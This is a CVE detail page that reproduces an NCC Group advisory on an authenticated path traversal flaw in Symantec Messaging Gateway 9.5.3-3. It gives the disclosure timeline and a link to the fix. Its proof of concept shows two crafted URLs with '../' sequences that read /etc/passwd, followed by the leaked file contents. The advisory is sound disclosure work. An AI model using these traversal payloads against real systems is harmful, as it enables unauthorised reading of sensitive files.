CVE-2012-4347 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

======= Summary ======= Name: Symantec Messaging Gateway - Arbitrary file download is possible with a crafted URL (authenticated) Release Date: 30 November 2012 Reference: NGS00266 Discoverer: Ben Williams <[email protected]> Vendor: Symantec Vendor Reference: Systems Affected: Symantec Messaging Gateway 9.5.3-3 Risk: Medium Status: Published ======== TimeLine ======== Discovered: 17 April 2012 Released: 17 April 2012 Approved: 29 April 2012 Reported: 30 April 2012 Fixed: 27 August 2012 Published: 30 November 2012 =========== Description =========== I. VULNERABILITY ------------------------- Symantec Messaging Gateway 9.5.3-3 - Arbitrary file download is possible with a crafted URL (authenticated) II. BACKGROUND ------------------------- Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance III. DESCRIPTION ------------------------- The vulnerability would enable an attacker (who has authenticated to the web interface) to download arbitrary files from the appliance with the permissions of the Webserver user ================= Technical Details ================= IV. PROOF OF CONCEPT ------------------------- Various files containing sensitive information can be downloaded using a crafted URL for example: http://192.168.1.59:41080/brightmail/export?type=logs&logFile=../../../etc/passwd&logType=1&browserType=1 Which produces a file containing: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/bin/bash ntp:x:38:38::/etc/ntp:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin postfix:x:100:101::/home/postfix:/bin/bash mailwall:x:500:501::/home/mailwall:/bin/bash mysql:x:501:103::/home/mysql:/bin/bash bcc:x:502:99::/home/bcc:/bin/bash support:x:503:503::/home/support:/bin/bash admin:x:504:501::/home/admin:/bin/rbash sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin named:x:25:25:Named:/var/named:/sbin/nologin Simliar issues can be seen in other places such as here: http://192.168.1.59:41080/brightmail/admin/restore/download.do?no-cache=false&displayTab=restore&restoreSource=APPLIANCE&localBackupFileSelection=../../etc/passwd =============== Fix Information =============== An updated version of the software has been released to address the vulnerability: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00 NCC Group Research http://www.nccgroup.com/research For more information please visit <a href="http://www.mimecast.com">http://www.mimecast.com<br> This email message has been delivered safely and archived online by Mimecast. </a>